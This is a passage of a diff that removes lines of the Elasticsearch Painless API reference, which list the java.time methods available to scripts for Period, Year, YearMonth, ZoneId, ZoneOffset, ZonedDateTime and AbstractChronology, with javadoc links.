-[[painless-api-reference-shared-Period]]
-==== Period
-* static Period {java11-javadoc}/java.base/java/time/Period.html#ZERO[ZERO]
-* static Period {java11-javadoc}/java.base/java/time/Period.html#between(java.time.LocalDate,java.time.LocalDate)[between](LocalDate, LocalDate)
-* static Period {java11-javadoc}/java.base/java/time/Period.html#from(java.time.temporal.TemporalAmount)[from](TemporalAmount)
-* static Period {java11-javadoc}/java.base/java/time/Period.html#of(int,int,int)[of](int, int, int)
-* static Period {java11-javadoc}/java.base/java/time/Period.html#ofDays(int)[ofDays](int)
-* static Period {java11-javadoc}/java.base/java/time/Period.html#ofMonths(int)[ofMonths](int)
-* static Period {java11-javadoc}/java.base/java/time/Period.html#ofWeeks(int)[ofWeeks](int)
-* static Period {java11-javadoc}/java.base/java/time/Period.html#ofYears(int)[ofYears](int)
-* static Period {java11-javadoc}/java.base/java/time/Period.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#addTo(java.time.temporal.Temporal)[addTo](Temporal)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#get(java.time.temporal.TemporalUnit)[get](TemporalUnit)
-* IsoChronology {java11-javadoc}/java.base/java/time/Period.html#getChronology()[getChronology]()
-* int {java11-javadoc}/java.base/java/time/Period.html#getDays()[getDays]()
-* int {java11-javadoc}/java.base/java/time/Period.html#getMonths()[getMonths]()
-* List {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#getUnits()[getUnits]()
-* int {java11-javadoc}/java.base/java/time/Period.html#getYears()[getYears]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#isNegative()[isNegative]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#isZero()[isZero]()
-* Period {java11-javadoc}/java.base/java/time/Period.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* Period {java11-javadoc}/java.base/java/time/Period.html#minusDays(long)[minusDays](long)
-* Period {java11-javadoc}/java.base/java/time/Period.html#minusMonths(long)[minusMonths](long)
-* Period {java11-javadoc}/java.base/java/time/Period.html#minusYears(long)[minusYears](long)
-* Period {java11-javadoc}/java.base/java/time/Period.html#multipliedBy(int)[multipliedBy](int)
-* Period {java11-javadoc}/java.base/java/time/Period.html#negated()[negated]()
-* Period {java11-javadoc}/java.base/java/time/Period.html#normalized()[normalized]()
-* Period {java11-javadoc}/java.base/java/time/Period.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* Period {java11-javadoc}/java.base/java/time/Period.html#plusDays(long)[plusDays](long)
-* Period {java11-javadoc}/java.base/java/time/Period.html#plusMonths(long)[plusMonths](long)
-* Period {java11-javadoc}/java.base/java/time/Period.html#plusYears(long)[plusYears](long)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#subtractFrom(java.time.temporal.Temporal)[subtractFrom](Temporal)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#toString()[toString]()
-* long {java11-javadoc}/java.base/java/time/Period.html#toTotalMonths()[toTotalMonths]()
-* Period {java11-javadoc}/java.base/java/time/Period.html#withDays(int)[withDays](int)
-* Period {java11-javadoc}/java.base/java/time/Period.html#withMonths(int)[withMonths](int)
-* Period {java11-javadoc}/java.base/java/time/Period.html#withYears(int)[withYears](int)
-
-
-[[painless-api-reference-shared-Year]]
-==== Year
-* static int {java11-javadoc}/java.base/java/time/Year.html#MAX_VALUE[MAX_VALUE]
-* static int {java11-javadoc}/java.base/java/time/Year.html#MIN_VALUE[MIN_VALUE]
-* static Year {java11-javadoc}/java.base/java/time/Year.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static boolean {java11-javadoc}/java.base/java/time/Year.html#isLeap(long)[isLeap](long)
-* static Year {java11-javadoc}/java.base/java/time/Year.html#of(int)[of](int)
-* static Year {java11-javadoc}/java.base/java/time/Year.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static Year {java11-javadoc}/java.base/java/time/Year.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* LocalDate {java11-javadoc}/java.base/java/time/Year.html#atDay(int)[atDay](int)
-* YearMonth {java11-javadoc}/java.base/java/time/Year.html#atMonth(int)[atMonth](int)
-* LocalDate {java11-javadoc}/java.base/java/time/Year.html#atMonthDay(java.time.MonthDay)[atMonthDay](MonthDay)
-* int {java11-javadoc}/java.base/java/time/Year.html#compareTo(java.time.Year)[compareTo](Year)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/Year.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/Year.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/Year.html#isAfter(java.time.Year)[isAfter](Year)
-* boolean {java11-javadoc}/java.base/java/time/Year.html#isLeap()[isLeap]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* boolean {java11-javadoc}/java.base/java/time/Year.html#isValidMonthDay(java.time.MonthDay)[isValidMonthDay](MonthDay)
-* int {java11-javadoc}/java.base/java/time/Year.html#length()[length]()
-* Year {java11-javadoc}/java.base/java/time/Year.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* Year {java11-javadoc}/java.base/java/time/Year.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* Year {java11-javadoc}/java.base/java/time/Year.html#minusYears(long)[minusYears](long)
-* Year {java11-javadoc}/java.base/java/time/Year.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* Year {java11-javadoc}/java.base/java/time/Year.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* Year {java11-javadoc}/java.base/java/time/Year.html#plusYears(long)[plusYears](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* Year {java11-javadoc}/java.base/java/time/Year.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* Year {java11-javadoc}/java.base/java/time/Year.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-YearMonth]]
-==== YearMonth
-* static YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#of(int,int)[of](int, int)
-* static YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* LocalDate {java11-javadoc}/java.base/java/time/YearMonth.html#atDay(int)[atDay](int)
-* LocalDate {java11-javadoc}/java.base/java/time/YearMonth.html#atEndOfMonth()[atEndOfMonth]()
-* int {java11-javadoc}/java.base/java/time/YearMonth.html#compareTo(java.time.YearMonth)[compareTo](YearMonth)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/YearMonth.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* Month {java11-javadoc}/java.base/java/time/YearMonth.html#getMonth()[getMonth]()
-* int {java11-javadoc}/java.base/java/time/YearMonth.html#getMonthValue()[getMonthValue]()
-* int {java11-javadoc}/java.base/java/time/YearMonth.html#getYear()[getYear]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/YearMonth.html#isAfter(java.time.YearMonth)[isAfter](YearMonth)
-* boolean {java11-javadoc}/java.base/java/time/YearMonth.html#isBefore(java.time.YearMonth)[isBefore](YearMonth)
-* boolean {java11-javadoc}/java.base/java/time/YearMonth.html#isLeapYear()[isLeapYear]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* boolean {java11-javadoc}/java.base/java/time/YearMonth.html#isValidDay(int)[isValidDay](int)
-* int {java11-javadoc}/java.base/java/time/YearMonth.html#lengthOfMonth()[lengthOfMonth]()
-* int {java11-javadoc}/java.base/java/time/YearMonth.html#lengthOfYear()[lengthOfYear]()
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#minusMonths(long)[minusMonths](long)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#minusYears(long)[minusYears](long)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#plusMonths(long)[plusMonths](long)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#plusYears(long)[plusYears](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#withMonth(int)[withMonth](int)
-* YearMonth {java11-javadoc}/java.base/java/time/YearMonth.html#withYear(int)[withYear](int)
-
-
-[[painless-api-reference-shared-ZoneId]]
-==== ZoneId
-* static Map {java11-javadoc}/java.base/java/time/ZoneId.html#SHORT_IDS[SHORT_IDS]
-* static ZoneId {java11-javadoc}/java.base/java/time/ZoneId.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static Set {java11-javadoc}/java.base/java/time/ZoneId.html#getAvailableZoneIds()[getAvailableZoneIds]()
-* static ZoneId {java11-javadoc}/java.base/java/time/ZoneId.html#of(java.lang.String)[of](null)
-* static ZoneId {java11-javadoc}/java.base/java/time/ZoneId.html#of(java.lang.String,java.util.Map)[of](null, Map)
-* static ZoneId {java11-javadoc}/java.base/java/time/ZoneId.html#ofOffset(java.lang.String,java.time.ZoneOffset)[ofOffset](null, ZoneOffset)
-* static ZoneId {java11-javadoc}/java.base/java/time/ZoneId.html#systemDefault()[systemDefault]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/ZoneId.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/ZoneId.html#getId()[getId]()
-* ZoneRules {java11-javadoc}/java.base/java/time/ZoneId.html#getRules()[getRules]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* ZoneId {java11-javadoc}/java.base/java/time/ZoneId.html#normalized()[normalized]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ZoneOffset]]
-==== ZoneOffset
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#MAX[MAX]
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#MIN[MIN]
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#UTC[UTC]
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#of(java.lang.String)[of](null)
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#ofHours(int)[ofHours](int)
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#ofHoursMinutes(int,int)[ofHoursMinutes](int, int)
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#ofHoursMinutesSeconds(int,int,int)[ofHoursMinutesSeconds](int, int, int)
-* static ZoneOffset {java11-javadoc}/java.base/java/time/ZoneOffset.html#ofTotalSeconds(int)[ofTotalSeconds](int)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/lang/Comparable.html#compareTo(java.lang.Object)[compareTo](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/ZoneId.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/ZoneId.html#getId()[getId]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* ZoneRules {java11-javadoc}/java.base/java/time/ZoneId.html#getRules()[getRules]()
-* int {java11-javadoc}/java.base/java/time/ZoneOffset.html#getTotalSeconds()[getTotalSeconds]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* ZoneId {java11-javadoc}/java.base/java/time/ZoneId.html#normalized()[normalized]()
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ZonedDateTime]]
-==== ZonedDateTime
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#of(java.time.LocalDateTime,java.time.ZoneId)[of](LocalDateTime, ZoneId)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#of(java.time.LocalDate,java.time.LocalTime,java.time.ZoneId)[of](LocalDate, LocalTime, ZoneId)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#of(int,int,int,int,int,int,int,java.time.ZoneId)[of](int, int, int, int, int, int, int, ZoneId)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#ofInstant(java.time.Instant,java.time.ZoneId)[ofInstant](Instant, ZoneId)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#ofInstant(java.time.LocalDateTime,java.time.ZoneOffset,java.time.ZoneId)[ofInstant](LocalDateTime, ZoneOffset, ZoneId)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#ofLocal(java.time.LocalDateTime,java.time.ZoneId,java.time.ZoneOffset)[ofLocal](LocalDateTime, ZoneId, ZoneOffset)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#ofStrict(java.time.LocalDateTime,java.time.ZoneOffset,java.time.ZoneId)[ofStrict](LocalDateTime, ZoneOffset, ZoneId)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#compareTo(java.time.chrono.ChronoZonedDateTime)[compareTo](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* Chronology {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getChronology()[getChronology]()
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getDayOfMonth()[getDayOfMonth]()
-* DayOfWeek {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getDayOfWeek()[getDayOfWeek]()
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getDayOfYear()[getDayOfYear]()
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getHour()[getHour]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getMinute()[getMinute]()
-* Month {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getMonth()[getMonth]()
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getMonthValue()[getMonthValue]()
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getNano()[getNano]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getOffset()[getOffset]()
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getSecond()[getSecond]()
-* int {java11-javadoc}/java.base/java/time/ZonedDateTime.html#getYear()[getYear]()
-* ZoneId {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getZone()[getZone]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isAfter(java.time.chrono.ChronoZonedDateTime)[isAfter](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isBefore(java.time.chrono.ChronoZonedDateTime)[isBefore](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isEqual(java.time.chrono.ChronoZonedDateTime)[isEqual](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusDays(long)[minusDays](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusHours(long)[minusHours](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusMinutes(long)[minusMinutes](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusMonths(long)[minusMonths](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusNanos(long)[minusNanos](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusSeconds(long)[minusSeconds](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusWeeks(long)[minusWeeks](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#minusYears(long)[minusYears](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusDays(long)[plusDays](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusHours(long)[plusHours](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusMinutes(long)[plusMinutes](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusMonths(long)[plusMonths](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusNanos(long)[plusNanos](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusSeconds(long)[plusSeconds](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusWeeks(long)[plusWeeks](long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#plusYears(long)[plusYears](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toEpochSecond()[toEpochSecond]()
-* Instant {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toInstant()[toInstant]()
-* LocalDate {java11-javadoc}/java.base/java/time/ZonedDateTime.html#toLocalDate()[toLocalDate]()
-* LocalDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#toLocalDateTime()[toLocalDateTime]()
-* LocalTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toLocalTime()[toLocalTime]()
-* OffsetDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#toOffsetDateTime()[toOffsetDateTime]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toString()[toString]()
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#truncatedTo(java.time.temporal.TemporalUnit)[truncatedTo](TemporalUnit)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withDayOfMonth(int)[withDayOfMonth](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withDayOfYear(int)[withDayOfYear](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withEarlierOffsetAtOverlap()[withEarlierOffsetAtOverlap]()
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withFixedOffsetZone()[withFixedOffsetZone]()
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withHour(int)[withHour](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withLaterOffsetAtOverlap()[withLaterOffsetAtOverlap]()
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withMinute(int)[withMinute](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withMonth(int)[withMonth](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withNano(int)[withNano](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withSecond(int)[withSecond](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withYear(int)[withYear](int)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withZoneSameInstant(java.time.ZoneId)[withZoneSameInstant](ZoneId)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/ZonedDateTime.html#withZoneSameLocal(java.time.ZoneId)[withZoneSameLocal](ZoneId)
-
-
-[role="exclude",id="painless-api-reference-shared-java-time-chrono"]
-=== Shared API for package java.time.chrono
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-AbstractChronology]]
-==== AbstractChronology
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#compareTo(java.time.chrono.Chronology)[compareTo](Chronology)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#date(java.time.temporal.TemporalAccessor)[date](TemporalAccessor)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#date(int,int,int)[date](int, int, int)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#date(java.time.chrono.Era,int,int,int)[date](Era, int, int, int)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#dateEpochDay(long)[dateEpochDay](long)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#dateYearDay(int,int)[dateYearDay](int, int)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#dateYearDay(java.time.chrono.Era,int,int)[dateYearDay](Era, int, int)
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#equals(java.lang.Object)[equals](Object)
-* Era {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eraOf(int)[eraOf](int)
-* List {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eras()[eras]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getId()[getId]()
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#isLeapYear(long)[isLeapYear](long)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#localDateTime(java.time.temporal.TemporalAccessor)[localDateTime](TemporalAccessor)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/Chronology.html#period(int,int,int)[period](int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#prolepticYear(java.time.chrono.Era,int)[prolepticYear](Era, int)
-* ValueRange {java11-javadoc}/java.base/java/time/chrono/Chronology.html#range(java.time.temporal.ChronoField)[range](ChronoField)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#resolveDate(java.util.Map,java.time.format.ResolverStyle)[resolveDate](Map, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#toString()[toString]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.temporal.TemporalAccessor)[zonedDateTime](TemporalAccessor)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.Instant,java.time.ZoneId)[zonedDateTime](Instant, ZoneId)
-
-
-[[painless-api-reference-shared-ChronoLocalDate]]
-==== ChronoLocalDate
